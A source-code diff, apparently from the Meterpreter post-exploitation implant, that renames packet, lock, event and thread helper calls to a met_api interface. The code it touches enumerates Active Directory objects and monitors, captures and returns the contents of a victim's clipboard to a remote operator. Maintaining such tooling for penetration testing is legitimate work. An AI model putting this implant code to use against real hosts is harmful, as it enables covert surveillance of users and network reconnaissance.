|
||||
{
|
||||
dprintf("[EXTAPI ADSI] DN String: %S", col.pADsValues->DNString);
|
||||
packet_add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->DNString);
|
||||
met_api->packet.add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->DNString);
|
||||
break;
|
||||
}
|
||||
case ADSTYPE_PRINTABLE_STRING:
|
||||
{
|
||||
dprintf("[EXTAPI ADSI] Printable String: %S", col.pADsValues->PrintableString);
|
||||
packet_add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->PrintableString);
|
||||
met_api->packet.add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->PrintableString);
|
||||
break;
|
||||
}
|
||||
case ADSTYPE_NUMERIC_STRING:
|
||||
{
|
||||
dprintf("[EXTAPI ADSI] Numeric String: %S", col.pADsValues->NumericString);
|
||||
packet_add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->NumericString);
|
||||
met_api->packet.add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->NumericString);
|
||||
break;
|
||||
}
|
||||
case ADSTYPE_CASE_EXACT_STRING:
|
||||
{
|
||||
dprintf("[EXTAPI ADSI] Case Extact String: %S", col.pADsValues->CaseExactString);
|
||||
packet_add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->CaseExactString);
|
||||
met_api->packet.add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->CaseExactString);
|
||||
break;
|
||||
}
|
||||
case ADSTYPE_CASE_IGNORE_STRING:
|
||||
{
|
||||
dprintf("[EXTAPI ADSI] Case Ignore String: %S", col.pADsValues->CaseIgnoreString);
|
||||
packet_add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->CaseIgnoreString);
|
||||
met_api->packet.add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->CaseIgnoreString);
|
||||
break;
|
||||
}
|
||||
case ADSTYPE_BOOLEAN:
|
||||
{
|
||||
dprintf("[EXTAPI ADSI] Boolean");
|
||||
packet_add_tlv_bool(pGroup, TLV_TYPE_EXT_ADSI_BOOL, col.pADsValues->Boolean == 0 ? FALSE : TRUE);
|
||||
met_api->packet.add_tlv_bool(pGroup, TLV_TYPE_EXT_ADSI_BOOL, col.pADsValues->Boolean == 0 ? FALSE : TRUE);
|
||||
break;
|
||||
}
|
||||
case ADSTYPE_OCTET_STRING:
|
||||
{
|
||||
dprintf("[EXTAPI ADSI] Octet string");
|
||||
packet_add_tlv_raw(pGroup, TLV_TYPE_EXT_ADSI_RAW, col.pADsValues->OctetString.lpValue, col.pADsValues->OctetString.dwLength);
|
||||
met_api->packet.add_tlv_raw(pGroup, TLV_TYPE_EXT_ADSI_RAW, col.pADsValues->OctetString.lpValue, col.pADsValues->OctetString.dwLength);
|
||||
break;
|
||||
}
|
||||
case ADSTYPE_UTC_TIME:
|
||||
@ -259,54 +260,54 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols,
|
||||
SYSTEMTIME* pt = &col.pADsValues->UTCTime;
|
||||
sprintf_s(value, VALUE_SIZE, "%4u-%02u-%02u %02u:%02u:%02u.%03u",
|
||||
pt->wYear, pt->wMonth, pt->wDay, pt->wHour, pt->wMinute, pt->wSecond, pt->wMilliseconds);
|
||||
packet_add_tlv_string(pGroup, TLV_TYPE_EXT_ADSI_STRING, value);
|
||||
met_api->packet.add_tlv_string(pGroup, TLV_TYPE_EXT_ADSI_STRING, value);
|
||||
break;
|
||||
}
|
||||
case ADSTYPE_PROV_SPECIFIC:
|
||||
{
|
||||
dprintf("[EXTAPI ADSI] Provider specific");
|
||||
packet_add_tlv_raw(pGroup, TLV_TYPE_EXT_ADSI_RAW, col.pADsValues->ProviderSpecific.lpValue, col.pADsValues->ProviderSpecific.dwLength);
|
||||
met_api->packet.add_tlv_raw(pGroup, TLV_TYPE_EXT_ADSI_RAW, col.pADsValues->ProviderSpecific.lpValue, col.pADsValues->ProviderSpecific.dwLength);
|
||||
break;
|
||||
}
|
||||
case ADSTYPE_OBJECT_CLASS:
|
||||
{
|
||||
packet_add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->ClassName);
|
||||
met_api->packet.add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->ClassName);
|
||||
break;
|
||||
}
|
||||
case ADSTYPE_CASEIGNORE_LIST:
|
||||
{
|
||||
// list of strings, yay!
|
||||
Packet* pStrings = packet_create_group();
|
||||
Packet* pStrings = met_api->packet.create_group();
|
||||
PADS_CASEIGNORE_LIST list = col.pADsValues->pCaseIgnoreList;
|
||||
|
||||
dprintf("[EXTAPI ADSI] Case Ignore List");
|
||||
|
||||
while (list != NULL)
|
||||
{
|
||||
packet_add_tlv_wstring(pStrings, TLV_TYPE_EXT_ADSI_STRING, list->String);
|
||||
met_api->packet.add_tlv_wstring(pStrings, TLV_TYPE_EXT_ADSI_STRING, list->String);
|
||||
list = list->Next;
|
||||
}
|
||||
|
||||
packet_add_group(pGroup, TLV_TYPE_EXT_ADSI_ARRAY, pStrings);
|
||||
met_api->packet.add_group(pGroup, TLV_TYPE_EXT_ADSI_ARRAY, pStrings);
|
||||
break;
|
||||
}
|
||||
case ADSTYPE_PATH:
|
||||
{
|
||||
PADS_PATH path = col.pADsValues->pPath;
|
||||
Packet* pPathGroup = packet_create_group();
|
||||
Packet* pPathGroup = met_api->packet.create_group();
|
||||
|
||||
dprintf("[EXTAPI ADSI] PATH");
|
||||
|
||||
packet_add_tlv_wstring(pPathGroup, TLV_TYPE_EXT_ADSI_PATH_VOL, path->VolumeName);
|
||||
packet_add_tlv_wstring(pPathGroup, TLV_TYPE_EXT_ADSI_PATH_PATH, path->Path);
|
||||
packet_add_tlv_uint(pPathGroup, TLV_TYPE_EXT_ADSI_PATH_TYPE, path->Type);
|
||||
met_api->packet.add_tlv_wstring(pPathGroup, TLV_TYPE_EXT_ADSI_PATH_VOL, path->VolumeName);
|
||||
met_api->packet.add_tlv_wstring(pPathGroup, TLV_TYPE_EXT_ADSI_PATH_PATH, path->Path);
|
||||
met_api->packet.add_tlv_uint(pPathGroup, TLV_TYPE_EXT_ADSI_PATH_TYPE, path->Type);
|
||||
|
||||
packet_add_group(pGroup, TLV_TYPE_EXT_ADSI_PATH, pPathGroup);
|
||||
met_api->packet.add_group(pGroup, TLV_TYPE_EXT_ADSI_PATH, pPathGroup);
|
||||
break;
|
||||
}
|
||||
case ADSTYPE_POSTALADDRESS:
|
||||
{
|
||||
Packet* pAddressGroup = packet_create_group();
|
||||
Packet* pAddressGroup = met_api->packet.create_group();
|
||||
PADS_POSTALADDRESS addr = col.pADsValues->pPostalAddress;
|
||||
|
||||
for (DWORD i = 0; i < sizeof(addr->PostalAddress) / sizeof(addr->PostalAddress[0]); ++i)
|
||||
@ -316,33 +317,33 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols,
|
||||
continue;
|
||||
}
|
||||
|
||||
packet_add_tlv_wstring(pAddressGroup, TLV_TYPE_EXT_ADSI_STRING, addr->PostalAddress[i]);
|
||||
met_api->packet.add_tlv_wstring(pAddressGroup, TLV_TYPE_EXT_ADSI_STRING, addr->PostalAddress[i]);
|
||||
}
|
||||
|
||||
dprintf("[EXTAPI ADSI] postal address list");
|
||||
|
||||
packet_add_group(pGroup, TLV_TYPE_EXT_ADSI_ARRAY, pAddressGroup);
|
||||
met_api->packet.add_group(pGroup, TLV_TYPE_EXT_ADSI_ARRAY, pAddressGroup);
|
||||
break;
|
||||
}
|
||||
case ADSTYPE_TIMESTAMP:
|
||||
{
|
||||
ADS_TIMESTAMP* pts = &col.pADsValues->Timestamp;
|
||||
dprintf("[EXTAPI ADSI] timestamp");
|
||||
packet_add_tlv_uint(pGroup, TLV_TYPE_EXT_ADSI_NUMBER, pts->WholeSeconds);
|
||||
met_api->packet.add_tlv_uint(pGroup, TLV_TYPE_EXT_ADSI_NUMBER, pts->WholeSeconds);
|
||||
break;
|
||||
}
|
||||
case ADSTYPE_BACKLINK:
|
||||
{
|
||||
ADS_BACKLINK* pbl = &col.pADsValues->BackLink;
|
||||
dprintf("[EXTAPI ADSI] backlink");
|
||||
packet_add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, pbl->ObjectName);
|
||||
met_api->packet.add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, pbl->ObjectName);
|
||||
break;
|
||||
}
|
||||
case ADSTYPE_TYPEDNAME:
|
||||
{
|
||||
PADS_TYPEDNAME ptn = col.pADsValues->pTypedName;
|
||||
dprintf("[EXTAPI ADSI] typed name");
|
||||
packet_add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, ptn->ObjectName);
|
||||
met_api->packet.add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, ptn->ObjectName);
|
||||
break;
|
||||
}
|
||||
case ADSTYPE_NETADDRESS:
|
||||
@ -353,12 +354,12 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols,
|
||||
char* s = bytes_to_string(pna->Address, pna->AddressLength, "%u", 3, ".");
|
||||
if (s)
|
||||
{
|
||||
packet_add_tlv_string(pGroup, TLV_TYPE_EXT_ADSI_STRING, s);
|
||||
met_api->packet.add_tlv_string(pGroup, TLV_TYPE_EXT_ADSI_STRING, s);
|
||||
free(s);
|
||||
}
|
||||
else
|
||||
{
|
||||
packet_add_tlv_raw(pGroup, TLV_TYPE_EXT_ADSI_RAW, pna->Address, pna->AddressLength);
|
||||
met_api->packet.add_tlv_raw(pGroup, TLV_TYPE_EXT_ADSI_RAW, pna->Address, pna->AddressLength);
|
||||
}
|
||||
dprintf("[ADSI] %u network address of %u bytes added", pna->AddressType, pna->AddressLength);
|
||||
break;
|
||||
@ -366,7 +367,7 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols,
|
||||
case ADSTYPE_EMAIL:
|
||||
{
|
||||
dprintf("[EXTAPI ADSI] email");
|
||||
packet_add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->Email.Address);
|
||||
met_api->packet.add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->Email.Address);
|
||||
break;
|
||||
}
|
||||
case ADSTYPE_NT_SECURITY_DESCRIPTOR:
|
||||
@ -376,39 +377,39 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols,
|
||||
if(ConvertSidToStringSid((PSID)psd->lpValue, &s))
|
||||
{
|
||||
dprintf("[EXTAPI ADSI] converted SID: %s", s);
|
||||
packet_add_tlv_string(pGroup, TLV_TYPE_EXT_ADSI_STRING, s);
|
||||
met_api->packet.add_tlv_string(pGroup, TLV_TYPE_EXT_ADSI_STRING, s);
|
||||
LocalFree(s);
|
||||
}
|
||||
else
|
||||
{
|
||||
dprintf("[EXTAPI ADSI] byte SID");
|
||||
packet_add_tlv_raw(pGroup, TLV_TYPE_EXT_ADSI_RAW, psd->lpValue, psd->dwLength);
|
||||
met_api->packet.add_tlv_raw(pGroup, TLV_TYPE_EXT_ADSI_RAW, psd->lpValue, psd->dwLength);
|
||||
}
|
||||
break;
|
||||
}
|
||||
case ADSTYPE_DN_WITH_BINARY:
|
||||
{
|
||||
Packet* pDnGroup = packet_create_group();
|
||||
Packet* pDnGroup = met_api->packet.create_group();
|
||||
PADS_DN_WITH_BINARY pdb = col.pADsValues->pDNWithBinary;
|
||||
|
||||
dprintf("[ADSI] DN with string");
|
||||
|
||||
packet_add_tlv_wstring(pDnGroup, TLV_TYPE_EXT_ADSI_STRING, pdb->pszDNString);
|
||||
packet_add_tlv_raw(pDnGroup, TLV_TYPE_EXT_ADSI_RAW, pdb->lpBinaryValue, pdb->dwLength);
|
||||
packet_add_group(pGroup, TLV_TYPE_EXT_ADSI_DN, pDnGroup);
|
||||
met_api->packet.add_tlv_wstring(pDnGroup, TLV_TYPE_EXT_ADSI_STRING, pdb->pszDNString);
|
||||
met_api->packet.add_tlv_raw(pDnGroup, TLV_TYPE_EXT_ADSI_RAW, pdb->lpBinaryValue, pdb->dwLength);
|
||||
met_api->packet.add_group(pGroup, TLV_TYPE_EXT_ADSI_DN, pDnGroup);
|
||||
|
||||
break;
|
||||
}
|
||||
case ADSTYPE_DN_WITH_STRING:
|
||||
{
|
||||
Packet* pDnGroup = packet_create_group();
|
||||
Packet* pDnGroup = met_api->packet.create_group();
|
||||
PADS_DN_WITH_STRING pds = col.pADsValues->pDNWithString;
|
||||
|
||||
dprintf("[ADSI] DN with string");
|
||||
|
||||
packet_add_tlv_wstring(pDnGroup, TLV_TYPE_EXT_ADSI_STRING, pds->pszDNString);
|
||||
packet_add_tlv_wstring(pDnGroup, TLV_TYPE_EXT_ADSI_STRING, pds->pszStringValue);
|
||||
packet_add_group(pGroup, TLV_TYPE_EXT_ADSI_DN, pDnGroup);
|
||||
met_api->packet.add_tlv_wstring(pDnGroup, TLV_TYPE_EXT_ADSI_STRING, pds->pszDNString);
|
||||
met_api->packet.add_tlv_wstring(pDnGroup, TLV_TYPE_EXT_ADSI_STRING, pds->pszStringValue);
|
||||
met_api->packet.add_group(pGroup, TLV_TYPE_EXT_ADSI_DN, pDnGroup);
|
||||
|
||||
break;
|
||||
}
|
||||
@ -419,7 +420,7 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols,
|
||||
// this is a string of some kind
|
||||
dprintf("[ADSI] Unhandled ADSI type %u (%x), adding unknown", col.dwADsType, col.dwADsType);
|
||||
sprintf_s(value, VALUE_SIZE, "(unhandled ADSI type %u)", col.dwADsType);
|
||||
packet_add_tlv_string(pGroup, TLV_TYPE_EXT_ADSI_STRING, value);
|
||||
met_api->packet.add_tlv_string(pGroup, TLV_TYPE_EXT_ADSI_STRING, value);
|
||||
break;
|
||||
}
|
||||
}
|
||||
@ -429,7 +430,7 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols,
|
||||
else
|
||||
{
|
||||
dprintf("[ADSI] Col read failed: %x", hr);
|
||||
packet_add_tlv_string(pGroup, TLV_TYPE_EXT_ADSI_STRING, "");
|
||||
met_api->packet.add_tlv_string(pGroup, TLV_TYPE_EXT_ADSI_STRING, "");
|
||||
}
|
||||
|
||||
dwIndex++;
|
||||
@ -439,7 +440,7 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols,
|
||||
{
|
||||
dprintf("[ADSI] Adding group packet of %u values", dwIndex);
|
||||
// Throw the user details together in a group, ready to return.
|
||||
packet_add_group(response, TLV_TYPE_EXT_ADSI_RESULT, pGroup);
|
||||
met_api->packet.add_group(response, TLV_TYPE_EXT_ADSI_RESULT, pGroup);
|
||||
dprintf("[ADSI] Added group packet of %u values", dwIndex);
|
||||
}
|
||||
else
|
||||
|
@ -3,7 +3,8 @@
|
||||
* @brief Definitions for clipboard interaction functionality.
|
||||
*/
|
||||
#include "extapi.h"
|
||||
#include "../../common/thread.h"
|
||||
#include "common.h"
|
||||
#include "common_metapi.h"
|
||||
#include "clipboard.h"
|
||||
#include "clipboard_image.h"
|
||||
|
||||
@ -300,7 +301,7 @@ VOID destroy_clipboard_monitor_capture(ClipboardCaptureList* pCaptureList, BOOL
|
||||
|
||||
if (bRemoveLock && pCaptureList->pClipboardCaptureLock)
|
||||
{
|
||||
lock_destroy(pCaptureList->pClipboardCaptureLock);
|
||||
met_api->lock.destroy(pCaptureList->pClipboardCaptureLock);
|
||||
pCaptureList->pClipboardCaptureLock = NULL;
|
||||
}
|
||||
|
||||
@ -331,7 +332,7 @@ VOID timestamp_to_string(SYSTEMTIME* pTime, char buffer[40])
|
||||
VOID dump_clipboard_capture(Packet* pResponse, ClipboardCapture* pCapture, BOOL bCaptureImageData)
|
||||
{
|
||||
ClipboardFile* pFile;
|
||||
Packet* group = packet_create_group();
|
||||
Packet* group = met_api->packet.create_group();
|
||||
TlvType groupType;
|
||||
Packet* file = NULL;
|
||||
char timestamp[40];
|
||||
@ -341,21 +342,21 @@ VOID dump_clipboard_capture(Packet* pResponse, ClipboardCapture* pCapture, BOOL
|
||||
memset(timestamp, 0, sizeof(timestamp));
|
||||
|
||||
timestamp_to_string(&pCapture->stCaptureTime, timestamp);
|
||||
packet_add_tlv_string(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP, timestamp);
|
||||
met_api->packet.add_tlv_string(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP, timestamp);
|
||||
dprintf("[EXTAPI CLIPBOARD] Timestamp added: %s", timestamp);
|
||||
|
||||
switch (pCapture->captureType)
|
||||
{
|
||||
case CapText:
|
||||
dprintf("[EXTAPI CLIPBOARD] Dumping text %s", pCapture->lpText);
|
||||
packet_add_tlv_string(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT, (PUCHAR)(pCapture->lpText ? pCapture->lpText : "(null - clipboard was cleared)"));
|
||||
met_api->packet.add_tlv_string(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT, (PUCHAR)(pCapture->lpText ? pCapture->lpText : "(null - clipboard was cleared)"));
|
||||
groupType = TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT;
|
||||
break;
|
||||
case CapImage:
|
||||
dprintf("[EXTAPI CLIPBOARD] Dumping image %ux%x", pCapture->lpImage->dwWidth, pCapture->lpImage->dwHeight);
|
||||
packet_add_tlv_uint(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX, pCapture->lpImage->dwWidth);
|
||||
packet_add_tlv_uint(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY, pCapture->lpImage->dwHeight);
|
||||
packet_add_tlv_raw(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA, pCapture->lpImage->lpImageContent, pCapture->lpImage->dwImageSize);
|
||||
met_api->packet.add_tlv_uint(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX, pCapture->lpImage->dwWidth);
|
||||
met_api->packet.add_tlv_uint(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY, pCapture->lpImage->dwHeight);
|
||||
met_api->packet.add_tlv_raw(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA, pCapture->lpImage->lpImageContent, pCapture->lpImage->dwImageSize);
|
||||
groupType = TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG;
|
||||
break;
|
||||
case CapFiles:
|
||||
@ -364,16 +365,16 @@ VOID dump_clipboard_capture(Packet* pResponse, ClipboardCapture* pCapture, BOOL
|
||||
while (pFile)
|
||||
{
|
||||
dprintf("[EXTAPI CLIPBOARD] Dumping file %p", pFile);
|
||||
file = packet_create_group();
|
||||
file = met_api->packet.create_group();
|
||||
|
||||
dprintf("[EXTAPI CLIPBOARD] Adding path %s", pFile->lpPath);
|
||||
packet_add_tlv_string(file, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME, pFile->lpPath);
|
||||
met_api->packet.add_tlv_string(file, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME, pFile->lpPath);
|
||||
|
||||
dprintf("[EXTAPI CLIPBOARD] Adding size %llu", pFile->qwSize);
|
||||
packet_add_tlv_qword(file, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE, pFile->qwSize);
|
||||
met_api->packet.add_tlv_qword(file, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE, pFile->qwSize);
|
||||
|
||||
dprintf("[EXTAPI CLIPBOARD] Adding group");
|
||||
packet_add_group(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE, file);
|
||||
met_api->packet.add_group(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE, file);
|
||||
|
||||
pFile = pFile->pNext;
|
||||
dprintf("[EXTAPI CLIPBOARD] Moving to next");
|
||||
@ -382,7 +383,7 @@ VOID dump_clipboard_capture(Packet* pResponse, ClipboardCapture* pCapture, BOOL
|
||||
break;
|
||||
}
|
||||
|
||||
packet_add_group(pResponse, groupType, group);
|
||||
met_api->packet.add_group(pResponse, groupType, group);
|
||||
}
|
||||
|
||||
/*!
|
||||
@ -397,7 +398,7 @@ VOID dump_clipboard_capture_list(Packet* pResponse, ClipboardCaptureList* pCaptu
|
||||
{
|
||||
ClipboardCapture* pCapture = NULL;
|
||||
|
||||
lock_acquire(pCaptureList->pClipboardCaptureLock);
|
||||
met_api->lock.acquire(pCaptureList->pClipboardCaptureLock);
|
||||
pCapture = pCaptureList->pHead;
|
||||
while (pCapture)
|
||||
{
|
||||
@ -409,7 +410,7 @@ VOID dump_clipboard_capture_list(Packet* pResponse, ClipboardCaptureList* pCaptu
|
||||
{
|
||||
destroy_clipboard_monitor_capture(pCaptureList, FALSE);
|
||||
}
|
||||
lock_release(pCaptureList->pClipboardCaptureLock);
|
||||
met_api->lock.release(pCaptureList->pClipboardCaptureLock);
|
||||
}
|
||||
|
||||
/*!
|
||||
@ -429,7 +430,7 @@ BOOL is_duplicate(ClipboardCapture* pNewCapture, ClipboardCaptureList* pList)
|
||||
ClipboardFile* pNewFiles = NULL;
|
||||
BOOL bResult = FALSE;
|
||||
|
||||
lock_acquire(pList->pClipboardCaptureLock);
|
||||
met_api->lock.acquire(pList->pClipboardCaptureLock);
|
||||
|
||||
do
|
||||
{
|
||||
@ -501,7 +502,7 @@ BOOL is_duplicate(ClipboardCapture* pNewCapture, ClipboardCaptureList* pList)
|
||||
}
|
||||
} while (0);
|
||||
|
||||
lock_release(pList->pClipboardCaptureLock);
|
||||
met_api->lock.release(pList->pClipboardCaptureLock);
|
||||
|
||||
return bResult;
|
||||
}
|
||||
@ -520,7 +521,7 @@ BOOL add_clipboard_capture(ClipboardCapture* pNewCapture, ClipboardCaptureList*
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
lock_acquire(pList->pClipboardCaptureLock);
|
||||
met_api->lock.acquire(pList->pClipboardCaptureLock);
|
||||
|
||||
pNewCapture->pNext = NULL;
|
||||
if (pList->pTail == NULL)
|
||||
@ -533,7 +534,7 @@ BOOL add_clipboard_capture(ClipboardCapture* pNewCapture, ClipboardCaptureList*
|
||||
pList->pTail = pList->pTail->pNext = pNewCapture;
|
||||
}
|
||||
pList->dwClipboardDataSize += pNewCapture->dwSize;
|
||||
lock_release(pList->pClipboardCaptureLock);
|
||||
met_api->lock.release(pList->pClipboardCaptureLock);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
@ -931,7 +932,7 @@ DWORD request_clipboard_get_data(Remote *remote, Packet *packet)
|
||||
DWORD dwResult;
|
||||
ClipboardCapture* pCapture = NULL;
|
||||
BOOL bDownload = FALSE;
|
||||
Packet *pResponse = packet_create_response(packet);
|
||||
Packet *pResponse = met_api->packet.create_response(packet);
|
||||
|
||||
do
|
||||
{
|
||||
@ -941,7 +942,7 @@ DWORD request_clipboard_get_data(Remote *remote, Packet *packet)
|
||||
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Clipboard failed to initialise, unable to get data");
|
||||
}
|
||||
|
||||
bDownload = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_DOWNLOAD);
|
||||
bDownload = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_DOWNLOAD);
|
||||
|
||||
if ((dwResult = capture_clipboard(bDownload, &pCapture)) != ERROR_SUCCESS)
|
||||
{
|
||||
@ -960,7 +961,7 @@ DWORD request_clipboard_get_data(Remote *remote, Packet *packet)
|
||||
if (pResponse)
|
||||
{
|
||||
dprintf("[EXTAPI CLIPBOARD] sending response");
|
||||
packet_transmit_response(dwResult, remote, pResponse);
|
||||
met_api->packet.transmit_response(dwResult, remote, pResponse);
|
||||
}
|
||||
|
||||
return dwResult;
|
||||
@ -993,7 +994,7 @@ DWORD request_clipboard_set_data(Remote *remote, Packet *packet)
|
||||
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Clipboard failed to initialise, unable to get data");
|
||||
}
|
||||
|
||||
if ((lpClipString = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT)) == NULL)
|
||||
if ((lpClipString = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT)) == NULL)
|
||||
{
|
||||
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] No string data specified", ERROR_INVALID_PARAMETER);
|
||||
}
|
||||
@ -1047,7 +1048,7 @@ DWORD request_clipboard_set_data(Remote *remote, Packet *packet)
|
||||
pGlobalFree(hClipboardData);
|
||||
}
|
||||
|
||||
packet_transmit_empty_response(remote, packet, dwResult);
|
||||
met_api->packet.transmit_empty_response(remote, packet, dwResult);
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
@ -1082,7 +1083,7 @@ DWORD THREADCALL clipboard_monitor_thread_func(THREAD * thread)
|
||||
// signal to the caller that our thread has started
|
||||
dprintf("[EXTAPI CLIPBOARD] Thread started");
|
||||
pState->bRunning = TRUE;
|
||||
event_signal(pState->hResponseEvent);
|
||||
met_api->event.signal(pState->hResponseEvent);
|
||||
|
||||
waitableHandles[0] = thread->sigterm->handle;
|
||||
waitableHandles[1] = pState->hPauseEvent->handle;
|
||||
@ -1106,13 +1107,13 @@ DWORD THREADCALL clipboard_monitor_thread_func(THREAD * thread)
|
||||
dprintf("[EXTAPI CLIPBOARD] Thread paused");
|
||||
pState->bRunning = FALSE;
|
||||
// indicate that we've paused
|
||||
event_signal(pState->hResponseEvent);
|
||||
met_api->event.signal(pState->hResponseEvent);
|
||||
break;
|
||||
case 2: // resume the thread
|
||||
dprintf("[EXTAPI CLIPBOARD] Thread resumed");
|
||||
pState->bRunning = TRUE;
|
||||
// indicate that we've resumed
|
||||
event_signal(pState->hResponseEvent);
|
||||
met_api->event.signal(pState->hResponseEvent);
|
||||
break;
|
||||
default:
|
||||
// timeout, so pump messages
|
||||
@ -1129,7 +1130,7 @@ DWORD THREADCALL clipboard_monitor_thread_func(THREAD * thread)
|
||||
// and we're done, switch off, and tell the caller we're done
|
||||
pState->bRunning = FALSE;
|
||||
destroy_clipboard_monitor_window(pState);
|
||||
event_signal(pState->hResponseEvent);
|
||||
met_api->event.signal(pState->hResponseEvent);
|
||||
dprintf("[EXTAPI CLIPBOARD] Thread stopped");
|
||||
|
||||
} while (0);
|
||||
@ -1149,19 +1150,19 @@ VOID destroy_clipboard_monitor_state(ClipboardState** ppState)
|
||||
ClipboardState* pState = *ppState;
|
||||
if (pState->hThread != NULL)
|
||||
{
|
||||
thread_destroy(pState->hThread);
|
||||
met_api->thread.destroy(pState->hThread);
|
||||
}
|
||||
if (pState->hPauseEvent != NULL)
|
||||
{
|
||||
event_destroy(pState->hPauseEvent);
|
||||
met_api->event.destroy(pState->hPauseEvent);
|
||||
}
|
||||
if (pState->hResumeEvent != NULL)
|
||||
{
|
||||
event_destroy(pState->hResumeEvent);
|
||||
met_api->event.destroy(pState->hResumeEvent);
|
||||
}
|
||||
if (pState->hResponseEvent != NULL)
|
||||
{
|
||||
event_destroy(pState->hResponseEvent);
|
||||
met_api->event.destroy(pState->hResponseEvent);
|
||||
}
|
||||
destroy_clipboard_monitor_capture(&pState->captureList, TRUE);
|
||||
|
||||
@ -1206,7 +1207,7 @@ DWORD request_clipboard_monitor_start(Remote *remote, Packet *packet)
|
||||
dprintf("[EXTAPI CLIPBOARD] pState %p", pState);
|
||||
memset(pState, 0, sizeof(ClipboardState));
|
||||
|
||||
lpClassName = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS);
|
||||
lpClassName = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS);
|
||||
if (lpClassName == NULL || strlen(lpClassName) == 0)
|
||||
{
|
||||
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Window class name is missing", ERROR_INVALID_PARAMETER);
|
||||
@ -1215,12 +1216,12 @@ DWORD request_clipboard_monitor_start(Remote *remote, Packet *packet)
|
||||
strncpy_s(pState->cbWindowClass, sizeof(pState->cbWindowClass), lpClassName, sizeof(pState->cbWindowClass) - 1);
|
||||
dprintf("[EXTAPI CLIPBOARD] Class Name set to %s", pState->cbWindowClass);
|
||||
|
||||
pState->bCaptureImageData = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA);
|
||||
pState->bCaptureImageData = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA);
|
||||
|
||||
pState->hPauseEvent = event_create();
|
||||
pState->hResumeEvent = event_create();
|
||||
pState->hResponseEvent = event_create();
|
||||
pState->captureList.pClipboardCaptureLock = lock_create();
|
||||
pState->hPauseEvent = met_api->event.create();
|
||||
pState->hResumeEvent = met_api->event.create();
|
||||
pState->hResponseEvent = met_api->event.create();
|
||||
pState->captureList.pClipboardCaptureLock = met_api->lock.create();
|
||||
|
||||
if (pState->hPauseEvent == NULL
|
||||
|| pState->hResumeEvent == NULL
